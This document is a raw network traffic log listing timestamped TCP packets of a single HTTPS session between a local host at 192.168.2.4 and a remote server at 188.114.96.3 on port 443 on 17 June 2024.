Jun 17, 2024 16:18:55.071058035 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.071089983 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.071099043 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.071126938 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.071147919 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.071199894 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.071238995 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.071255922 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.071264982 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.071295023 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.071305990 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.071451902 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.071492910 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.071516991 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.071526051 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.071552038 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.071564913 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.071609974 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.071660042 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.071680069 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.071688890 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.071711063 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.071738005 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.071778059 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.071824074 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.071835995 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.071855068 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.071881056 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.071897030 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072298050 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.072339058 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.072343111 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072375059 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072382927 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.072396040 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072421074 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072566032 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.072597980 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.072630882 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072638988 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.072664022 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072668076 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.072674036 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072684050 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.072710037 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.072719097 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072742939 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072748899 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.072778940 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072788954 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.072797060 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072805882 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.072827101 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.072834015 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072860003 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072869062 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.072882891 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.072892904 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072910070 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.072923899 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072932005 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.072952032 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072978973 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.072989941 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073015928 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073055029 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073066950 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073079109 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073097944 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073127031 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073149920 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073158979 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073173046 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073194981 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073201895 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073215961 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073235035 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073247910 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073263884 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073271990 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073288918 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073301077 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073324919 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073326111 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073344946 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073355913 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073389053 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073424101 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073445082 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073477030 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073483944 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073496103 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073528051 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073529005 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073543072 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073564053 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073575020 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073606014 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073613882 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073631048 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073632956 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073654890 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073659897 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073669910 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073694944 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073728085 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073734045 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073741913 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073766947 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073788881 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073788881 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073801994 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073839903 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073839903 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073863983 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073863983 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073879004 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073904037 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073935986 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073949099 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073949099 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.073967934 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073986053 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.073986053 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074021101 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074043036 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074050903 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074071884 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074121952 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074134111 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074143887 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074151993 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074178934 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074209929 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074227095 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074238062 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074240923 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074265003 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074290037 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074297905 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074320078 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074331045 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074354887 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074359894 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074374914 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074385881 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074409962 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074429035 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074434042 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074457884 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074485064 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074491024 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074511051 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074542999 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074656963 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074685097 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074695110 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074738026 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074747086 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074762106 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074834108 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074856043 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074860096 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074872017 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074888945 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074920893 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.074943066 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074966908 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.074997902 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075006008 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075021029 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075031042 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075045109 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075053930 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075071096 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075092077 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075120926 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075146914 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075171947 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075193882 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075205088 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075220108 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075242043 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075306892 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075330973 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075361967 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075371027 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075392962 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075412989 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075591087 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075611115 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075639009 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075649023 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075678110 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075695992 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075727940 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075752020 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075779915 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075788975 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075809956 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075826883 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075915098 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.075917006 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075970888 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.075998068 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076008081 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076030970 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076046944 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076097012 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076119900 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076149940 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076162100 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076183081 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076209068 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076247931 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076248884 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076276064 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076306105 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076313972 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076335907 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076347113 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076350927 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076361895 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076389074 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076390028 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076416969 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076425076 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076438904 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076463938 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076495886 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076524973 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076550961 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076559067 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076582909 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076606035 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076749086 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076773882 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076808929 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076816082 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076831102 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076841116 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076860905 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076869011 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076886892 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.076890945 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076921940 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.076945066 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077132940 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077158928 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077184916 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077193022 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077212095 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077231884 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077244043 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077271938 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077299118 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077306986 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077331066 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077346087 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077476978 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077497959 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077521086 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077553034 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077560902 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077578068 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077579021 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077595949 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077603102 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077622890 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077627897 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077656984 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077663898 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077681065 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077706099 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077778101 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077797890 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077830076 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077838898 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077863932 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077883005 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077938080 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077961922 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.077986002 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.077992916 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.078016043 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.078032017 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.078033924 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.078047991 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.078072071 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.078088999 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.078097105 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.078115940 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.078140974 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.078205109 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.079057932 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.184709072 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.184741974 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.184787989 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.184815884 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.184835911 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.184839010 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.184866905 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.184885979 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.184895039 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.184917927 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.184931040 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.184946060 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.184951067 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.184964895 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.184983015 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.185004950 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.185084105 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.185108900 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.185137987 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.185148954 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.185163975 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.185187101 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.185421944 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.185442924 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.185477972 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.185488939 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.185513020 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.185534954 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.185821056 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.185841084 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.185870886 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.185883045 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.185909986 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.185925007 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.186280012 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.186306000 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.186342955 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.186353922 CEST	443	49733	188.114.96.3	192.168.2.4
